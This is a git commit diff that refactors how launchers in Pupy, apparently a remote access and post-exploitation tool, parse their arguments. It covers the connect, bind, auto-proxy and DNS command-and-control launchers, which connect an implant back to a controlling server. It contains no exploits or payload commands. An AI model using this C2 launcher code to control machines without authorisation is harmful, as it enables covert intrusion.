Rework launchers arguments parsing

This commit is contained in:
Oleksii Shevchuk 2018-10-26 12:50:00 +03:00
parent 9924bb1691
commit 65db4e26da
8 changed files with 187 additions and 138 deletions

View File

@ -16,8 +16,8 @@ def parser(server, handler, config):
return pupygen.get_parser(PupyArgumentParser, config=config)
def do(server, handler, config, args):
if not args.launcher or (args.launcher and args.launcher == 'connect'):
args.launcher = 'connect'
if not args.launcher or (args.launcher and args.launcher in ('connect', 'auto_proxy')):
args.launcher = args.launcher or 'connect'
transport = None
transport_idx = None
host = None

View File

@ -6,37 +6,16 @@
import logging
import importlib
launchers = {}
import sys
try:
from .lib.launchers.connect import ConnectLauncher
launchers['connect'] = ConnectLauncher
except Exception, e:
logging.exception('%s: ConnectLauncher disabled', e)
if not hasattr(sys, 'pupy_launchers'):
setattr(sys, 'pupy_launchers', {})
try:
from .lib.launchers.auto_proxy import AutoProxyLauncher
launchers['auto_proxy'] = AutoProxyLauncher
except Exception, e:
logging.exception('%s: AutoProxyLauncher disabled', e)
if not hasattr(sys, 'pupy_transports'):
setattr(sys, 'pupy_transports', {})
try:
from .lib.launchers.bind import BindLauncher
launchers['bind'] = BindLauncher
except Exception, e:
logging.exception('%s: BindLauncher disabled', e)
try:
from .lib.launchers.dnscnc import DNSCncLauncher
launchers.update({
'dnscnc': DNSCncLauncher
})
except Exception as e:
logging.exception('%s: DNSCncLauncher disabled', e)
DNSCncLauncher = None
transports = {}
transports = sys.pupy_transports
launchers = sys.pupy_launchers
def add_transport(module_name):
try:
@ -91,3 +70,31 @@ except ImportError:
for loader, module_name, is_pkg in pkgutil.iter_modules(trlib.__path__):
add_transport(module_name)
try:
from .lib.launchers.connect import ConnectLauncher
launchers['connect'] = ConnectLauncher
except Exception, e:
logging.exception('%s: ConnectLauncher disabled', e)
try:
from .lib.launchers.auto_proxy import AutoProxyLauncher
launchers['auto_proxy'] = AutoProxyLauncher
except Exception, e:
logging.exception('%s: AutoProxyLauncher disabled', e)
try:
from .lib.launchers.bind import BindLauncher
launchers['bind'] = BindLauncher
except Exception, e:
logging.exception('%s: BindLauncher disabled', e)
try:
from .lib.launchers.dnscnc import DNSCncLauncher
launchers.update({
'dnscnc': DNSCncLauncher
})
except Exception as e:
logging.exception('%s: DNSCncLauncher disabled', e)
DNSCncLauncher = None

View File

@ -10,6 +10,7 @@ __all__ = (
)
import argparse
import sys
class LauncherError(Exception):
__slots__ = ()
@ -26,26 +27,34 @@ class LauncherArgumentParser(argparse.ArgumentParser):
def error(self, message):
self.exit(2, str('%s: error: %s\n') % (self.prog, message))
class BaseLauncherMetaclass(type):
def __init__(self, *args, **kwargs):
super(BaseLauncherMetaclass, self).__init__(*args, **kwargs)
self.transports = getattr(sys, 'pupy_transports', {})
self.init_argparse()
class BaseLauncher(object):
arg_parser = None
args = None
transports = None
__slots__ = ('arg_parser', 'args', 'host', 'transport')
__slots__ = ('args', 'host', 'transport')
__metaclass__ = BaseLauncherMetaclass
def __init__(self):
self.arg_parser = None
self.args = None
self.host = "unknown"
self.transport = "unknown"
self.init_argparse()
def iterate(self):
""" iterate must be an iterator returning rpyc stream instances"""
raise NotImplementedError("iterate launcher's method needs to be implemented")
def init_argparse(self):
self.arg_parser = LauncherArgumentParser(
prog=self.__class__.__name__, description=self.__doc__)
@classmethod
def init_argparse(cls):
cls.arg_parser = LauncherArgumentParser(
prog=cls.__name__, description=cls.__doc__)
def parse_args(self, args):
self.args = self.arg_parser.parse_args(args)

View File

@ -37,13 +37,14 @@ class AutoProxyLauncher(BaseLauncher):
def __init__(self, *args, **kwargs):
super(AutoProxyLauncher, self).__init__(*args, **kwargs)
def init_argparse(self):
self.arg_parser = LauncherArgumentParser(prog="auto_proxy", description=self.__doc__)
self.arg_parser.add_argument('--host', metavar='<host:port>', required=True, help='host:port of the pupy server to connect to')
self.arg_parser.add_argument('-t', '--transport', choices=[x for x in network.conf.transports.iterkeys()], default="ssl", help="the transport to use ! (the server needs to be configured with the same transport) ")
self.arg_parser.add_argument('--add-proxy', action='append', help=" add a hardcoded proxy TYPE:address:port ex: SOCKS5:127.0.0.1:1080")
self.arg_parser.add_argument('--no-direct', action='store_true', help="do not attempt to connect without a proxy")
self.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments ex: param1=value param2=value ...")
@classmethod
def init_argparse(cls):
cls.arg_parser = LauncherArgumentParser(prog="auto_proxy", description=cls.__doc__)
cls.arg_parser.add_argument('--host', metavar='<host:port>', required=True, help='host:port of the pupy server to connect to')
cls.arg_parser.add_argument('-t', '--transport', choices=cls.transports, default="ssl", help="the transport to use ! (the server needs to be configured with the same transport) ")
cls.arg_parser.add_argument('--add-proxy', action='append', help=" add a hardcoded proxy TYPE:address:port ex: SOCKS5:127.0.0.1:1080")
cls.arg_parser.add_argument('--no-direct', action='store_true', help="do not attempt to connect without a proxy")
cls.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments ex: param1=value param2=value ...")
def parse_args(self, args):
self.args=self.arg_parser.parse_args(args)
@ -68,7 +69,7 @@ class AutoProxyLauncher(BaseLauncher):
additional_proxies=self.args.add_proxy
):
try:
t = network.conf.transports[self.args.transport]()
t = self.transports[self.args.transport]()
client_args = {
k:v for k,v in t.client_kwargs.iteritems()
}
@ -148,7 +149,7 @@ class AutoProxyLauncher(BaseLauncher):
# Try without any proxy
if not self.args.no_direct:
try:
t = network.conf.transports[self.args.transport]()
t = self.transports[self.args.transport]()
client_args = {
k:v for k,v in t.client_kwargs.iteritems()

View File

@ -19,13 +19,14 @@ class BindLauncher(BaseLauncher):
__slots__ = ('credentials', 'arg_parser', 'args', 'rhost', 'rport')
def init_argparse(self):
self.arg_parser = LauncherArgumentParser(prog="bind", description=self.__doc__)
self.arg_parser.add_argument('--port', metavar='<port>', type=int, required=True, help='the port to bind on')
self.arg_parser.add_argument('--host', metavar='<ip>', default='0.0.0.0', help='the ip to listen on (default 0.0.0.0)')
self.arg_parser.add_argument('--oneliner-host', metavar='<ip>', help='the ip of the target (for ps1_oneliner launcher only)')
self.arg_parser.add_argument('-t', '--transport', choices=[x for x in network.conf.transports.iterkeys()], default="ssl", help="the transport to use ! (the pupysh.sh --connect will need to be configured with the same transport) ")
self.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments")
@classmethod
def init_argparse(cls):
cls.arg_parser = LauncherArgumentParser(prog="bind", description=cls.__doc__)
cls.arg_parser.add_argument('--port', metavar='<port>', type=int, required=True, help='the port to bind on')
cls.arg_parser.add_argument('--host', metavar='<ip>', default='0.0.0.0', help='the ip to listen on (default 0.0.0.0)')
cls.arg_parser.add_argument('--oneliner-host', metavar='<ip>', help='the ip of the target (for ps1_oneliner launcher only)')
cls.arg_parser.add_argument('-t', '--transport', choices=cls.transports, default="ssl", help="the transport to use ! (the pupysh.sh --connect will need to be configured with the same transport) ")
cls.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments")
def parse_args(self, args):
self.args=self.arg_parser.parse_args(args)
@ -36,8 +37,8 @@ class BindLauncher(BaseLauncher):
if self.args is None:
raise LauncherError("parse_args needs to be called before iterate")
logging.info("binding on %s:%s using transport %s ..."%(self.args.host, self.args.port, self.args.transport))
opt_args=utils.parse_transports_args(' '.join(self.args.transport_args))
t=network.conf.transports[self.args.transport](bind_payload=True)
opt_args = utils.parse_transports_args(' '.join(self.args.transport_args))
t = self.transports[self.args.transport](bind_payload=True)
transport_kwargs=t.server_transport_kwargs
for val in opt_args:

View File

@ -22,14 +22,15 @@ class ConnectLauncher(BaseLauncher):
self.connect_on_bind_payload=kwargs.pop("connect_on_bind_payload", False)
super(ConnectLauncher, self).__init__(*args, **kwargs)
def init_argparse(self):
self.arg_parser = LauncherArgumentParser(prog="connect", description=self.__doc__)
self.arg_parser.add_argument('--host', metavar='<host:port>', required=True, action='append', help='host:port of the pupy server to connect to. You can provide multiple --host arguments to attempt to connect to multiple IPs')
self.arg_parser.add_argument('-t', '--transport', choices=[x for x in network.conf.transports.iterkeys()], default="ssl", help="the transport to use ! (the server needs to be configured with the same transport) ")
self.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments ex: param1=value param2=value ...")
@classmethod
def init_argparse(cls):
cls.arg_parser = LauncherArgumentParser(prog="connect", description=cls.__doc__)
cls.arg_parser.add_argument('--host', metavar='<host:port>', required=True, action='append', help='host:port of the pupy server to connect to. You can provide multiple --host arguments to attempt to connect to multiple IPs')
cls.arg_parser.add_argument('-t', '--transport', choices=cls.transports, default="ssl", help="the transport to use ! (the server needs to be configured with the same transport) ")
cls.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments ex: param1=value param2=value ...")
def parse_args(self, args):
self.args=self.arg_parser.parse_args(args)
self.args = self.arg_parser.parse_args(args)
self.rhost, self.rport=None,None
self.parse_host(self.args.host[0])
@ -52,7 +53,7 @@ class ConnectLauncher(BaseLauncher):
logging.info("connecting to %s:%s using transport %s ..."%(
self.rhost, self.rport, self.args.transport))
opt_args=utils.parse_transports_args(' '.join(self.args.transport_args))
t=network.conf.transports[self.args.transport](bind_payload=self.connect_on_bind_payload)
t=self.transports[self.args.transport](bind_payload=self.connect_on_bind_payload)
client_args=t.client_kwargs
transport_args=t.client_transport_kwargs

View File

@ -203,36 +203,10 @@ class DNSCncLauncher(BaseLauncher):
credentials = ['DNSCNC_PUB_KEY_V2']
def __init__(self, *args, **kwargs):
self.connect_on_bind_payload=kwargs.pop('connect_on_bind_payload', False)
self.connect_on_bind_payload = kwargs.pop('connect_on_bind_payload', False)
super(DNSCncLauncher, self).__init__(*args, **kwargs)
def init_argparse(self):
self.arg_parser = LauncherArgumentParser(
prog='dnscnc', description=self.__doc__
)
self.arg_parser.add_argument(
'--domain',
metavar='<domain>',
required=True,
help='controlled domain (hostname only, no IP, '
'you should properly setup NS first. Port is NOT supported)'
)
self.arg_parser.add_argument(
'--ns', help='DNS server (will use internal DNS library)'
)
self.arg_parser.add_argument(
'--ns-timeout', help='DNS query timeout (only when internal DNS library used)',
default=3, type=int,
)
self.arg_parser.add_argument(
'--qtype',
choices=['A'], default='A',
help='DNS query type (For now only A supported)'
)
self.dnscnc = None
self.exited = False
def parse_args(self, args):
self.args = self.arg_parser.parse_args(args)
@ -243,9 +217,50 @@ class DNSCncLauncher(BaseLauncher):
self.ns_timeout = self.args.ns_timeout
self.qtype = self.args.qtype
def activate(self):
if self.args is None:
raise LauncherError('parse_args needs to be called before iterate')
logger.info('Activating CNC protocol. Domain: %s', self.host)
self.pupy = __import__('pupy')
self.dnscnc = DNSCommandClientLauncher(
self.host, self.ns, self.qtype, self.ns_timeout)
self.dnscnc.daemon = True
self.dnscnc.start()
@classmethod
def init_argparse(cls):
cls.arg_parser = LauncherArgumentParser(
prog='dnscnc', description=cls.__doc__
)
cls.arg_parser.add_argument(
'--domain',
metavar='<domain>',
required=True,
help='controlled domain (hostname only, no IP, '
'you should properly setup NS first. Port is NOT supported)'
)
cls.arg_parser.add_argument(
'--ns', help='DNS server (will use internal DNS library)'
)
cls.arg_parser.add_argument(
'--ns-timeout', help='DNS query timeout (only when internal DNS library used)',
default=3, type=int,
)
cls.arg_parser.add_argument(
'--qtype',
choices=['A'], default='A',
help='DNS query type (For now only A supported)'
)
def try_direct_connect(self, command):
_, host, port, transport, _ = command
t = network.conf.transports[transport](
t = self.transports[transport](
bind_payload=self.connect_on_bind_payload
)
@ -281,7 +296,7 @@ class DNSCncLauncher(BaseLauncher):
for proxy_type, proxy, proxy_username, proxy_password in find_proxies(
additional_proxies=[connection_proxy] if connection_proxy else None
):
t = network.conf.transports[transport](
t = self.transports[transport](
bind_payload=self.connect_on_bind_payload
)
@ -349,40 +364,63 @@ class DNSCncLauncher(BaseLauncher):
yield stream
def iterate(self):
import pupy
if not self.dnscnc:
self.activate()
if self.args is None:
raise LauncherError('parse_args needs to be called before iterate')
dnscnc = DNSCommandClientLauncher(
self.host, self.ns, self.qtype, self.ns_timeout)
dnscnc.daemon = True
logger.info('Activating CNC protocol. Domain: %s', self.host)
dnscnc.start()
exited = False
while not exited:
command = None
with dnscnc.lock:
if dnscnc.commands:
command = dnscnc.commands.pop()
else:
dnscnc.new_commands.clear()
if not command:
dnscnc.new_commands.wait()
while not self.exited:
try:
connection = self.process()
if not connection:
continue
if command[0] == 'connect':
stream, transport = connection
if not stream:
continue
logger.debug('stream created, yielding - %s', stream)
self.dnscnc.stream = stream
self.pupy.infos['transport'] = transport
yield stream
with self.dnscnc.lock:
logger.debug('stream completed - %s', stream)
self.dnscnc.stream = None
self.pupy.infos['transport'] = None
except Exception, e:
logger.exception(e)
def process(self):
command = None
wait = False
connection = None
with self.dnscnc.lock:
if self.dnscnc.commands:
command = self.dnscnc.commands.pop()
else:
self.dnscnc.new_commands.clear()
if not command:
wait = True
elif command[0] == 'connect':
connection = self.on_connect(command)
if wait:
self.dnscnc.new_commands.wait()
return connection
def on_connect(self, command):
logger.debug('processing connection command')
with dnscnc.lock:
stream = None
transport = None
logger.debug('connection proxy: %s', command[4])
if command[4]:
logger.debug('omit direct connect')
@ -397,17 +435,9 @@ class DNSCncLauncher(BaseLauncher):
if stream:
break
dnscnc.stream = stream
if stream:
logger.debug('stream created, yielding - %s', stream)
pupy.infos['transport'] = command[3]
yield stream
with dnscnc.lock:
logger.debug('stream completed - %s', stream)
dnscnc.stream = None
transport = command[3]
else:
logger.debug('all connection attempt has been failed')
return stream, transport

View File

@ -588,10 +588,10 @@ def pupygen(args, config, pupsrv, display):
display(Error(e.message))
raise NoOutput()
launcher = launchers[args.launcher]()
launcher = launchers[args.launcher]
while True:
try:
launcher.parse_args(args.launcher_args)
launcher.arg_parser.parse_args(args.launcher_args)
except LauncherError as e:
if str(e).strip().endswith("--host is required") and "--host" not in args.launcher_args:
myip = get_listener_ip(external=args.prefer_external, config=config)